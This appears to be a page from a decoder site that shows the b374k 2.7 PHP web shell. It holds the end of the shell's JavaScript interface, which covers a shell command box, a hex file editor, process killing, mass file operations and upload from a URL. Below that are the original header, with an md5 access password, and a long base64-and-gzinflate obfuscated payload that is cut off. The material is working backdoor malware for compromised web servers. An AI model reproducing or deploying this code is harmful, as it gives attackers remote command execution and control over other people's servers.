var g = d.forms[\'g\'];
if(a==\'\') a=\'?\';
g.action = a;
if(is_array(vs)){
for(var i = 0; i<vs.length; i++){
var e = vs[i].indexOf(\'=\');
if(e>=0) addinput(g, vs[i].slice(0,e), vs[i].slice(e+1));
else addinput(g, vs[0], \'\');
}
}
else{
var e = vs.indexOf(\'=\');
if(e>=0) addinput(g, vs.slice(0,e), vs.slice(e+1));
else addinput(g, vs, \'\');
}
g.submit();
}
else window.location = t;
return false;
}
function tukar_(l,b){
if(d.getElementById(l)) d.getElementById(l).style.display = \'none\';
if(d.getElementById(b)) d.getElementById(b).style.display = \'block\';
if(d.getElementById(l + \'_\')) d.getElementById(l + \'_\').focus();
}
function toggle(b){
if(d.getElementById(b)){
if(d.getElementById(b).style.display == \'block\') d.getElementById(b).style.display = \'none\';
else d.getElementById(b).style.display = \'block\'
}
}
function tukar(id,cd,x,v,o){
if(!o) o = \'\';
a = d.getElementById(id);
b = d.getElementById(id+\'_form\');
c = \'<?php echo adds($s_self); ?>\';
if(cd==\'\') cd = cwd;
if(a && b){
var i = d.createElement(\'form\');
i.action = c;
i.method = \'post\';
if(o!=\'\') addinput(i,\'oldname\',o);
addinput(i,\'cd\',cd);
addinput(i,x,v,\'text\',\'width:80px;\',\'\',\'inputz\');
addinput(i,\'\',\'Go !\',\'submit\',\'width:32px;\',\'\',\'inputzbut\');
addinput(i,\'\',\'x\',\'button\',\'\',id,\'inputzbut\');
b.appendChild(i);
a.style.display = \'none\';
}
}
function addinput(f,n,v,t,s,c,cl){
if(!t) t =\'hidden\';
var i = d.createElement(\'input\');
if(n) i.name = n;
if(v) i.value = v;
if(t) i.type = t;
if(s) i.style.cssText = s;
if(c) i.onclick = function(){
a = d.getElementById(c);
b = d.getElementById(c+\'_form\');
a.style.display = \'block\';
b.innerHTML = \'\';
};
if(cl) i.className = cl;
f.appendChild(i);
}
function clickcmd(){
var buff = d.getElementById(\'cmd\');
if(buff.value == \'- shell command -\') buff.value = \'\';
}
function download(what){
what.form.submit();
what.selectedIndex=0;
}
function hexfix(t,ev){
var r = d.getElementById(\'hex_\'+t);
var q = d.getElementById(\'dump_\'+t);
var curpos = getcurpos(r);
if(ev.keyCode==13 || ev.keyCode==46 || ev.keyCode==8 || ev.keyCode==32) return false;
if(ev.keyCode==40){
var s = d.getElementById(\'hex_\'+(parseInt(t)+1));
if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
return false;
}
if(ev.keyCode==38){
var s = d.getElementById(\'hex_\'+(parseInt(t)-1));
if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
return false;
}
}
function showhex(){
var counter = parseInt(d.getElementById(\'counter\').value);
for(var i = 0; i<counter; i++) hexupdate(i);
}
function hexupdate(t,ev){
var r = d.getElementById(\'hex_\'+t);
var s = d.getElementById(\'dump_\'+t);
var a = \'0123456789ABCDEF\';
var hexs = r.value;
var hex = hexs.replace(/\s+/ig,\'\');
var curpos = 0;
clearpos();
if(ev){
curpos = getcurpos(r);
var k = String.fromCharCode(ev.keyCode);
if(curpos%3!=2){
if(a.indexOf(k)>=0 && curpos<hexs.length){
chr = hexs.substr(curpos,1);
before = (curpos>=1)? hexs.substr(0,curpos):\'\';
after = (curpos<hexs.length)? hexs.substr(curpos+1):\'\';
r.value = before + k + after;
setcurpos(r, curpos+1, curpos+1);
}
}
}
if(r && s){
var str = \'\';
hexs = r.value;
hex = hexs.replace(/\s+/ig,\'\');
for(var i = 0; i<hex.length; i+=2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
str = str.replace(/[^!-~]/ig,\'.\');
str = str.replace(/</ig,\'.\');
str = str.replace(/>/ig,\'.\');
dmppos = Math.floor(curpos/3);
chr = str.substr(dmppos,1);
before = (dmppos>=1)? str.substr(0,dmppos):\'\';
after = (dmppos<str.length)? str.substr(dmppos+1):\'\';
s.innerHTML = before + "<span class=\'gaya\' style=\'background:#000;font-weight:bold;border-bottom:1px solid #fff;border-top:1px solid #fff;\'>" + chr + "</span>" + after;
}
}
function submithex(){
if(!hexstatus){
hexstatus=true;
var hexstr = \'\';
var counter = parseInt(d.getElementById(\'counter\').value);
for(var i = 0; i<counter; i++){
var hex = d.getElementById(\'hex_\'+i);
hexstr += hex.value;
hex.remove();
}
hexstr = hexstr.replace(/\s+/g,\'\');
var hexestxtarea = d.getElementById(\'hexestxtarea\');
hexestxtarea.innerHTML = hexstr;
hexestxtarea.form.submit();
}
}
function evalselect(e){
var a = d.getElementById(\'additionaloption\');
var b = d.getElementById(\'evaloption\');
if(a){
if(e.value==\'php\') a.className=\'sembunyi\';
else a.className=\'\';
if(b) evaloption.value =\'\';
}
}
function getcurpos(c){
var p = 0;
if(d.selection){
c.focus ();
var sel = d.selection.createRange();
sel.moveStart (\'character\', c.value.length);
p = sel.text.length;
}
else if(c.selectionStart || c.selectionStart == \'0\')
p = c.selectionStart;
return p;
}
function setcurpos(c,p1,p2){
if(c.setSelectionRange){
c.focus(); c.setSelectionRange(p1,p2);
}
else if(c.createTextRange){
var r = c.createTextRange();
r.collapse(true);
r.moveStart(\'character\', p1);
r.moveEnd(\'character\', p2);
r.select();
}
}
function clearpos(){
var a = d.getElementsByName(\'hexdump\');
for(var i = 0; i<a.length; i++) a[i].innerHTML = a[i].innerHTML.replace(/<[^>]+>/ig,\'\');
}
function findtype(ty){
var z = d.getElementById(\'type\');
if(z && (ty==\'sdir\')) z.selectedIndex = 1;
else if(z && (ty==\'sfile\')) z.selectedIndex = 0;
}
function checkall(){
var a = d.getElementsByName(\'cbox\');
var b = d.getElementsByName(\'abox\');
var z = \'<?php if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'ps\')) echo "ps"; ?>\';
for(var i = 0; i<a.length; i++){
if(a[i].checked || (z==\'ps\') || (i!=0) && (i!=1)){
a[i].checked = b[0].checked;
}
var c = a[i].parentElement.parentElement;
if(a[i].checked) c.className = \'cbox_selected\';
else c.className = \'\';
}
total_selected();
}
function hilite(el){
var c = el.parentElement.parentElement;
if(el.checked) c.className = \'cbox_selected\';
else c.className = \'\';
total_selected();
}
function total_selected(){
var a = d.getElementsByName(\'cbox\');
var b = d.getElementById(\'total_selected\');
var c = 0;
for(var i = 0;i<a.length;i++) if(a[i].checked) c++;
if(c==0) b.innerHTML = \'\';
else b.innerHTML = \' ( selected : \'+c+\' items )\';
}
function massactgo(){
var a = d.getElementsByName(\'cbox\');
var b = d.getElementById(\'massact\');
var c = d.getElementsByName(\'abox\');
var buffer = \'\';
if(b.value==\'cut\' || b.value==\'copy\'){
d.cookie=\'massact=\'+b.value+\';\';
for(var i = 0; i<a.length; i++) if(a[i].checked) buffer += a[i].value+\'|\';
d.cookie=\'buffer=\'+escape(buffer);
}
else if(b.value==\'paste\'){
addinput(b.form,\'y\',\'paste\');
b.form.submit();
}
else{
for(var i = 0; i<a.length; i++) if(a[i].checked) buffer += a[i].value+\'|\';
d.cookie=\'buffer=\'+escape(buffer);
addinput(b.form,\'y\', b.value);
b.form.submit();
}
for(var i = 0; i<a.length; i++){
a[i].checked = false;
a[i].parentElement.parentElement.className=\'\';
}
c[0].checked = false;
}
function pkill(){
var a = d.getElementsByName(\'cbox\');
var c = d.getElementsByName(\'abox\');
var buffer = \'\';
for(var i = 0; i<a.length; i++) if(a[i].checked) buffer += a[i].value+\'|\';
if(buffer!=\'\'){
addinput(c[0].form,\'x\', \'ps\');
addinput(c[0].form,\'pid\', buffer);
c[0].form.submit();
}
for(var i = 0; i<a.length; i++){
a[i].checked = false;
a[i].parentElement.parentElement.className=\'\';
}
c[0].checked = false;
}
function dc(id){
d.cookie = dbcon[id] + \'=; expires=Thu, 01 Jan 1970 00:00:01 GMT;\';
}
function totop(){
if(!scroll){
var dur = window.pageYOffset;
scroll = true;
scrollto(0, dur);
}
}
function totopd(){
d.body.scrollTop = d.documentElement.scrollTop = 0;
stopscroll();
}
function tobottom(){
if(!scroll){
var dur = getheight()-window.pageYOffset;
scroll = true;
scrollto(getheight(), dur);
}
}
function tobottomd(){
d.body.scrollTop = d.documentElement.scrollTop = getheight();
stopscroll();
}
function stopscroll(){
scroll = false;
clearTimeout(timer);
}
function scrollto(to, dur) {
var start = d.documentElement.scrollTop + d.body.scrollTop, change = to - start, cur = 0, inc = 20;
var anim = function(){
if(scroll){
cur += inc;
var val = easing(cur, start, change, dur);
d.body.scrollTop = d.documentElement.scrollTop = val;
if(cur < dur) {
if(scroll) timer = setTimeout(anim, inc);
}
else stopscroll();
}
};
anim();
}
function easing(t,b,c,e){
return -c * Math.cos(t/e * (Math.PI/2)) + c + b;
}
function getheight(){
return Math.max(
d.body.scrollHeight, d.documentElement.scrollHeight,
d.body.offsetHeight, d.documentElement.offsetHeight,
d.body.clientHeight, d.documentElement.clientHeight
);
}
function adduploadc(){
var form = "<tr><td colspan=\'2\'><hr /></td></tr><tr><td style=\'width:140px;\'>File</td><td><input type=\'file\' name=\'filepath[]\' class=\'inputzbut\' style=\'width:400px;margin:0;\' /></td></tr><tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolder[]\' value=\'"+cwd+"\' /></td></tr><tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilename[]\' value=\'\' /></td></tr>";
var a = d.getElementById(\'adduploadc\');
if(a) a.insertAdjacentHTML(\'beforeend\', form);
}
function adduploadi(){
var form = "<tr><td colspan=\'2\'><hr /></td></tr><tr><td style=\'width:150px;\'>File URL</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'fileurl[]\' value=\'\' /></td></tr><tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolderurl[]\' value=\'"+cwd+"\' /></td></tr><tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilenameurl[]\' value=\'\' /></td></tr>";
var a = d.getElementById(\'adduploadi\');
if(a) a.insertAdjacentHTML(\'beforeend\', form);
}
</script>
</body>
</html><?php die(); ?>'
Did this file decode correctly?
Original Code
/*
b374k 2.7
Jayalah Indonesiaku
(c)2013
http://code.google.com/p/b374k-shell
*/
$s_pass = "0de664ecd2be02cdd54234a0d1229b43"; // shell password, fill with password in md5 format to protect shell, default : b374k
$decode_var = gzinflate(base64_decode("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